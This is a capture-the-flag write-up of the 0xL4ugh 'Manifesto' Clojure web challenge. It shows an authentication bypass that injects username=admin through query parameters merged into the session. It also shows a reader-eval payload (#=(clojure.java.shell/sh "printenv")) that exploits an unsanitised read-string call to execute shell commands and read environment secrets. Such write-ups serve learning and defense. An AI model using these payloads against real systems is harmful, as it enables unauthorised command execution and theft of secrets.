0xL4ugh CTF - Manifesto
This is an easy challenge, except... it's written in Clojure. Can you find your way through all of these parentheses and come out victorious?

As the year is about to end, me and my team decided to join 0xl4ugh as our final CTF event of the year. We’ll be tackling Manifesto for this writeup.
Manifesto
This is an easy challenge, except... it's written in Clojure. Can you find your way through all of these parentheses and come out victorious? - @aelmo

After downloading the challenge files, the Dockerfile contained the flag, which indicates that we have to access a shell to perform command execution and access the environment variable.
ENV CLOJURE_PORT 80
ENV FLAG '0xL4ugh{this_is_a_fake_flag}'
EXPOSE 80
ENTRYPOINT ["lein", "run"]
The server is written in Clojure, which is a dynamic, general-purpose programming language, combining the approachability and interactive development of a scripting language with an efficient and robust infrastructure for multi-threaded programming.
Bypassing authentication
After exploring a bit, we found that we could only access /gist if we were logged in as admin. So first, we had to find a way to bypass the authentication and set our session as the admin. We ran the application in Burp, and after making some changes, we observed that it creates a request to change the preferred theme with an additional parameter.

(re-matches #"/" uri)
(-> (r/response
(render-file "index.html"
{:prefer (or (query-params "prefer") (session "prefer") "light")
:username (session "username")
:url uri}))
(assoc :session (merge {"prefer" "light"} session query-params)))
The code above checks two parameters: prefer and username. Using this, we were able to bypass the authentication by passing the parameters as such: /?prefer=dark&username=admin.

We were now logged in as admin. While we could use other usernames to log in, we wouldn’t be able to access the /gist endpoint.
Command Injection

In the gist page, we are able to post a gist, and it will display the gist as seen in the picture. After inspecting the code, we are able to see the vulnerable function, which reads the input without prior sanitization.
(= request-method :post)
(let [{:strs [gist]} form-params]
;; clojure has excellent error handling capabilities
(try
(insert-gist (session "username") (read-string gist))
(r/redirect "/gists")
(catch Exception _ (json-response {:error "Something went wrong..."}))))
:else
(json-response {:error "Something went wrong..."}))
Here’s the snippet with the vulnerable input.
Clojure has a neat documentation, where we can find the clojure.java.shell namespace, which we could use to craft our payload.
In Clojure, there are different reader forms. In our case, we used a Macro Character
#, which is essentially a shortcut foreval. We paired it with an equal sign=, allowing it to evaluate immediately during the read phase.
Our eval payload looked like this: #=().
The payload were as follows:
#=(require clojure.java.shell)
#=(clojure.java.shell/sh+"printenv")

We finally got the flag!
Final thoughts
This web challenge was really interesting overall, a few head scratches and frustration from reading this godforsaken syntax, but we always learn something new.
Special thanks to my team D0MBUSTERS, I’ve learned a lot from them just from this year alone.


